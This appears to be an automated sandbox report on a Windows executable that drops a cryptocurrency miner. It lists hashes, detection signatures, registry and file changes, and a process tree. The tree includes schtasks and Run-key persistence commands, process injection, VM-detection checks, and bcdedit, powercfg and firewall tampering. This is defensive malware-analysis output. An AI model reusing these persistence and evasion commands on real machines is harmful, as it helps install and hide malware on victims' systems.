Analysis
- max time kernel
39s - max time network
40s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
27/05/2026, 04:25
Static task
static1
Behavioral task
behavioral1
Sample
df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
Resource
win11-20260513-en
General
- Target df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
- Size 9.6MB
- Sample260527-e16hmahv6y
- SHA256 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685
- MD5 cf5ee1a12b467b8a5d44354c3e6051d5
- SHA1 c0ec96a8984726eeb6ed89b8179d63c93c309ba0
- SHA512 46831ed2f26ece406575888bbf54dc3da0a4175f47995528570bf15594feed9637dbbf90506774794b29b517c4f3f6e4ad13304f2bf1bd4ac1b7d6a554bc7fd7
- SSDEEP 49152:i+HWcQ42IY8TChpiMC7bjYu1GCrDyIpGRlWAcW/5XGvRKa7sOsu0/Z8ak6F6yGo1:Kj
- TLSH T192A6CF407BE2BEF17291C11EB356C8344A5F3CB8F0DEEAE6904597A72482141AFED974
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions 903428e2.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions jusched.exe - Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1600 bcdedit.exe 1012 bcdedit.exe 5052 bcdedit.exe 4408 bcdedit.exe -
pid Process 424 powershell.EXE 2444 powershell.EXE 2460 powershell.exe 2352 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts dllhost.exe - Looks for VMWare Tools registry key 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools 903428e2.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools jusched.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1268 netsh.exe - Creates new service(s) 2 TTPs
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jusched.lnk jusched.exe - Executes dropped EXE 18 IoCs
pid Process 2724 903428e2.exe 4804 jusched.exe 3304 dllhost.exe 3156 dllhost.exe 4756 SearchProtocolHost.exe 1592 jusched.exe 4364 SearchFilterHost.exe 1920 jusched.exe 3648 jusched.exe 4872 jusched.exe 1540 jusched.exe 4424 dllhost.exe 4976 dllhost.exe 3732 SearchProtocolHost.exe 1688 jusched.exe 1344 miner.exe 1644 SearchFilterHost.exe 1720 dllhost.exe - Loads dropped DLL 13 IoCs
pid Process 2724 903428e2.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 4908 rundll32.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 4872 jusched.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe - Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\"" jusched.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\"" jusched.exe Set value (str) \REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\jusched = "C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe" jusched.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\"" jusched.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\"" jusched.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2404 powercfg.exe 2912 powercfg.exe 4224 powercfg.exe 3796 powercfg.exe 1272 powercfg.exe 1504 powercfg.exe 1920 powercfg.exe 1940 powercfg.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 dllhost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 dllhost.exe File opened for modification C:\Windows\System32\Recovery\ReAgent.xml dllhost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3304 dllhost.exe 4424 dllhost.exe - Suspicious use of SetThreadContext 9 IoCs
description pid Process procid_target PID 2724 set thread context of 3304 2724 903428e2.exe 85 PID 3304 set thread context of 3156 3304 dllhost.exe 86 PID 3304 set thread context of 4756 3304 dllhost.exe 87 PID 3304 set thread context of 4364 3304 dllhost.exe 97 PID 4872 set thread context of 4424 4872 jusched.exe 120 PID 4424 set thread context of 4976 4424 dllhost.exe 121 PID 4424 set thread context of 3732 4424 dllhost.exe 122 PID 4424 set thread context of 1644 4424 dllhost.exe 131 PID 4424 set thread context of 1720 4424 dllhost.exe 134 -
resource yara_rule behavioral2/memory/1740-134-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/1740-133-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/1740-145-0x0000000140000000-0x0000000140835000-memory.dmp upx - Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\SystemTemp\24623428f430\3c3ed4d8.dll dllhost.exe File created C:\Windows\SystemTemp\4c60b49b207e\e8b4ef3b.dll dllhost.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml reagentc.exe File created C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe dllhost.exe File created C:\Windows\SystemTemp\ab9a66b8bb7f\41f0f8b2.dll dllhost.exe - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1728 sc.exe 3356 sc.exe 2544 sc.exe 1304 sc.exe 1180 sc.exe 1900 sc.exe 4740 sc.exe 3748 sc.exe 1508 sc.exe 2552 sc.exe 940 sc.exe 4644 sc.exe 4548 sc.exe 3360 sc.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dllhost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 jusched.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString jusched.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 903428e2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 903428e2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 dllhost.exe - Enumerates system info in registry 2 TTPs 8 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion jusched.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer jusched.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName jusched.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS 903428e2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion 903428e2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer 903428e2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName 903428e2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS jusched.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dllhost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\jusched_tg_count\n = "1" dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dllhost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\jusched_tg_7f09c11e\ts = "1779855940" dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dllhost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\jusched_tg_7f09c11e dllhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dllhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dllhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4648 schtasks.exe 2060 schtasks.exe 3812 schtasks.exe 4748 schtasks.exe 2252 schtasks.exe 3808 schtasks.exe 2404 schtasks.exe 2192 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 792 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe 792 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe 2724 903428e2.exe 2724 903428e2.exe 2724 903428e2.exe 2724 903428e2.exe 2724 903428e2.exe 2724 903428e2.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 3304 dllhost.exe 4364 SearchFilterHost.exe 4364 SearchFilterHost.exe 4364 SearchFilterHost.exe 4364 SearchFilterHost.exe 4872 jusched.exe 4872 jusched.exe 4872 jusched.exe 4872 jusched.exe 4872 jusched.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe 4424 dllhost.exe - Suspicious use of AdjustPrivilegeToken 40 IoCs
description pid Process Token: SeDebugPrivilege 792 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe Token: SeDebugPrivilege 2724 903428e2.exe Token: SeDebugPrivilege 2724 903428e2.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeDebugPrivilege 3156 dllhost.exe Token: SeDebugPrivilege 3156 dllhost.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeDebugPrivilege 4804 jusched.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeDebugPrivilege 4756 SearchProtocolHost.exe Token: SeDebugPrivilege 4756 SearchProtocolHost.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeImpersonatePrivilege 3304 dllhost.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeImpersonatePrivilege 3304 dllhost.exe Token: SeDebugPrivilege 3304 dllhost.exe Token: SeDebugPrivilege 4364 SearchFilterHost.exe Token: SeDebugPrivilege 4364 SearchFilterHost.exe Token: SeDebugPrivilege 1592 jusched.exe Token: SeDebugPrivilege 4364 SearchFilterHost.exe Token: SeDebugPrivilege 4872 jusched.exe Token: SeDebugPrivilege 4872 jusched.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 4976 dllhost.exe Token: SeDebugPrivilege 4976 dllhost.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 1540 jusched.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 3732 SearchProtocolHost.exe Token: SeDebugPrivilege 3732 SearchProtocolHost.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 1644 SearchFilterHost.exe Token: SeDebugPrivilege 1644 SearchFilterHost.exe Token: SeDebugPrivilege 4424 dllhost.exe Token: SeDebugPrivilege 1688 jusched.exe Token: SeDebugPrivilege 1720 dllhost.exe Token: SeDebugPrivilege 1720 dllhost.exe Token: SeDebugPrivilege 2460 powershell.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2560 wrote to memory of 2724 2560 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe 83 PID 2724 wrote to memory of 4804 2724 903428e2.exe 84 PID 2724 wrote to memory of 3304 2724 903428e2.exe 85 PID 3304 wrote to memory of 3156 3304 dllhost.exe 86 PID 3304 wrote to memory of 4756 3304 dllhost.exe 87 PID 4804 wrote to memory of 2192 4804 jusched.exe 88 PID 3304 wrote to memory of 3356 3304 dllhost.exe 90 PID 4804 wrote to memory of 4648 4804 jusched.exe 92 PID 3304 wrote to memory of 1592 3304 dllhost.exe 94 PID 3304 wrote to memory of 4364 3304 dllhost.exe 97 PID 1592 wrote to memory of 3812 1592 jusched.exe 98 PID 1592 wrote to memory of 2060 1592 jusched.exe 103 PID 3304 wrote to memory of 1268 3304 dllhost.exe 106 PID 3304 wrote to memory of 936 3304 dllhost.exe 108 PID 3304 wrote to memory of 1600 3304 dllhost.exe 110 PID 3304 wrote to memory of 4408 3304 dllhost.exe 112 PID 3304 wrote to memory of 5052 3304 dllhost.exe 114 PID 3304 wrote to memory of 1012 3304 dllhost.exe 116 PID 4364 wrote to memory of 4872 4364 SearchFilterHost.exe 118 PID 4872 wrote to memory of 1540 4872 jusched.exe 119 PID 4872 wrote to memory of 4424 4872 jusched.exe 120 PID 4424 wrote to memory of 4976 4424 dllhost.exe 121 PID 4424 wrote to memory of 3732 4424 dllhost.exe 122 PID 1540 wrote to memory of 4748 1540 jusched.exe 123 PID 1540 wrote to memory of 2252 1540 jusched.exe 125 PID 4424 wrote to memory of 1948 4424 dllhost.exe 127 PID 4424 wrote to memory of 1688 4424 dllhost.exe 129 PID 4424 wrote to memory of 1344 4424 dllhost.exe 130 PID 4424 wrote to memory of 1644 4424 dllhost.exe 131 PID 1688 wrote to memory of 3808 1688 jusched.exe 132 PID 4424 wrote to memory of 1720 4424 dllhost.exe 134 PID 1688 wrote to memory of 2404 1688 jusched.exe 135 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe"C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:792 -
C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exeC:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"4⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F5⤵
- Scheduled Task/Job: Scheduled Task
PID:2192
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C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F5⤵
- Scheduled Task/Job: Scheduled Task
PID:4648
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C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3156
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C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4756
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C:\Windows\system32\schtasks.exe"schtasks.exe" /Query /TN "jusched"5⤵PID:3356
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C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F6⤵
- Scheduled Task/Job: Scheduled Task
PID:3812
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F6⤵
- Scheduled Task/Job: Scheduled Task
PID:2060
-
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe "C:\Windows\SystemTemp\ab9a66b8bb7f\41f0f8b2.dll",ExcludeMain5⤵
- Loads dropped DLL
PID:4908
-
-
C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"6⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F8⤵
- Scheduled Task/Job: Scheduled Task
PID:4748
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F8⤵
- Scheduled Task/Job: Scheduled Task
PID:2252
-
-
-
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4976
-
-
C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Query /TN "jusched"8⤵PID:1948
-
-
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"8⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F9⤵
- Scheduled Task/Job: Scheduled Task
PID:3808
-
-
